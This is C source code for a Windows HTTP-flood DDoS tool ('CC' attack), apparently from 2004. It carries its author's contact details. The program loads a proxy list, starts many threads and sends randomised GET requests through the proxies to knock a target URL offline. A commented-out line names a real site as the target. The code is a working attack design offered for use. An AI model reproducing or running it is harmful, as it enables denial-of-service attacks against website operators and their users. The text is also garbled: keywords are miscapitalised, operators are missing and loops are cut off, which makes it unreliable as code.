#include
Structsproxy {char host [128]; int port; struct sproxy * next;};
Structsproxy * pNow; struct sproxy * lis; struct sproxy * last;
Int Mthread, NThread, Stop, BH, BC; Char * Hostip = NULL, * REFER = NULL, * HOSTS = NULL, * COOK
File * fp; long int sendcount; handle hmutex = null;
Void usage ("[ ] new DDoS Tool CC V% S / N", VER); Printf ("[ ] Welcome Everyone to Visit http://www.n-ku.com/ BLOG / Blog.asp? Name = BigBoyQ / N "); Printf (" [ ] More Support Please Contact QQ: 167110 OR E-mail: hiis@163.com/n "); Printf (" [ ] usage: % s [option] / n ", p); Printf (" [ ] [-c
INT Netinit () {Wsadata Wsadata; int err; err = WSAStartup (Wavers, & Wsadata); Return Err;}
Char * gethttp (int J) {Int i, ct; char * buf, * Temp = null, * thove, * head = null; char * rc = null; char RDC [1024]; int ASCS, ASCW; SRAND (( Unsigned) J); Thost = (char *) Malloc (1024); buf = (char *) malloc (1024); Head = thost; memset (thove, 0,1024); MEMSET (BUF, 0, 512) ); Strcpy (thove, hostip); temp = "get"; strcat (buf, temp); ASCS = 0; ASCW = 0; RC = strchr (thove, ' '); while (rc) {rc [0] = '/ 0'; strcat (buf, thove); CT = RC [2] -48; switch (RC [1]) {case 's': ASCS = 97; ASCW = 26; Break; Case 's': ASCS = 65; Ascw = 26; Break; Case 'N': Case 'N': ASCS = 48; ASCW = 10; Break;} for (i = 0; i DWORD WINAPI Flood (LPVOID i) {char buf [512]; int err; char * fhost = NULL; sockaddr_in sin; SOCKET sock; WaitForSingleObject (hMutex, INFINITE); nThread ; ReleaseMutex (hMutex); while (stop == 1) {Sleep (1000);} while (stop == 0) {// This lock? WaitforsingleObject (hmutex, infinite); pNOW = pNow-> next; sin.sin_port = htons (pNOW-> port); sin.sin_addr.s_addr = inet_addr (pNOW-> Host); MEMSET (BUF, 0, 512); fHost = gethttp ((int) i); strcat (buf, fhost); free (fHOST); ReleaseMutex (hmutex); sin.sin_family = AF_INET; SOCK = Socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); if (Sock == Invalid_socket) {Printf ("[-] Thread Create Sock Failed / N"); Return 0;} IF (Connect (SOCK, SOCKADDR *) & SIN, SIZEOF (SIN)) == SOCKET_ERROR) {} else {WaitForsingleObject (hmutex, infinite); sendcount ; ReleaseMutex (hMutex); err = send (sock, buf, sizeof (buf), 0);} closesocket (sock);} WaitForSingleObject (hMutex, INFINITE); nThread--; ReleaseMutex (hMutex); free (buf) } INT MAIN (int Argc, char * argv []) {INT I, TI, DELAY; long int maxsend; char * filename = null; char fdata [128]; char mao = ':'; char * MP; / * hosts = "www.n-ku.com"; refer = "www.fz.fj.cn"; hostip = "http://www.fz.fj.cn/list.asp?id= S1 N1 S1 "; Printf ("% s / N ", geth TTP (1)); RETURN 1; * / bH = 0; BC = 0; IF (Argc <3) {printf ("[-] NEED OPTION !!!! / N"); usage (argv [0]); Return 1;} mthread = Def_thread; filename = def_file; delay = def_delay; maxsend = def_maxsend; refer = def_ref; for (i = 1; i 2) {IF (Argv [I])! = 2) {printf ("[-] Option unknow !!! / n"); usage (argv [0]); return 1;} // check parameter (i == argc-1) {printf ("[-] option error !!! / n"); usage (argv [0]); return 1;} switch (argv [i] [1]) {case ' H ': hostip = argv [i 1]; Break; Case' D ': delay = ATOI (Argv [i 1]); Break; Case' T ': mthread = ATOI (Argv [i 1]); Break; Case 'F': filename = argv [i 1]; Break; Case 'm': Maxsend = ATOI (Argv [i 1]); Break; Case 'R': Refer = Argv [i 1] Break; Case 's': hosts = argv [i 1]; BH = 1; Break; Case 'c': cook = argv [i 1]; bc = 1; Break;}} IF (Hostip == NULL) {Printf ("[-] please enter http url! / R / n"); return 1;} IF (mthread <1 || mthread> 1900) {printf ("[-] thread [% d] Must Between [1-1900] / n ", mthread); Return 1;} fp = fopen (filename," r "); if (fp == null) {printf (" [-] filenam e [% s] open failed! / n ", filename); Return 1;} // read the agent section MEMSET (FDATA, 0, 128); PNOW = (Struct Sproxy *) Malloc (Struct Sproxy); Head = PNOW; Last = PNOW; While (FSCANF (FP, "% S", FDATA)! = - 1) {pNOW = (Struct Sproxy *) Malloc (Struct Sproxy); Memset (PNOW-> Host, 0,128) Last-> Next = PNOW; Last = PNOW; MP = STRCHR (FDATA, MAO); MP [0] = '/ 0'; STRCAT (PNOW-> Host, FDATA); MP ; PNOW-> Port = ATOI (MP);} last = head; head = head-> next; pNOW-> Next = head; free (last); fclose (fp); Printf ("[ ] proxy loading success [% S]! / n ", filename); // proxy reading end, start network IF (Netinit ()! = 0) {printf (" [-] wsastartup failed! / n "); Return 1;} printf (" [ ] WSASTARTUP SUCCESS! / N [*] Wait for Threads Begin ["); // Now Begin Thread Stop = 1; Ti = 0; hmutex = CreateMutex (NULL, FALSE, NULL); for (i = 0; i IF you change it, please share your code IF you use this code, please keep my name Thank you 12.31.2004 * /